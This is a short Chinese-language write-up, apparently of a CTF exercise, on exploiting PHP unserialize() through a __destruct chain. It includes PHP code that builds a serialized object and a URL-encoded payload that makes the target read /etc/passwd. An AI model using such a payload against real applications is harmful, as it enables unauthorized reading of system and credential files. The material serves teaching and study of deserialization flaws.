代码
分析
定义了两个类A B
类A存在公有变量$classname,魔术方法__destruct() 在魔术方法中调用了类B中的read_file()函数
类B存在私有变量$filename,函数read_file()中存在file_get_contents()函数,参数为$filename
最后存在unserialize()反序列化函数 同时参数可控
思路
实例化A 并且将类A的公有变量$classname赋值为类B的实例化对象,当实例化A的同时也实例化了B
将类B中的私有变量$filename赋值读取文件名称
将实例化类A序列化输出
<?php
class A{
public $classname;
}
class B{
private $filename='/etc/passwd';
}
$a = new A();
$a ->classname = new B();
echo urlencode(serialize($a));
?>
输出结果
O%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22classname%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A11%3A%22%00B%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D%7D
将结果get传参进去
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容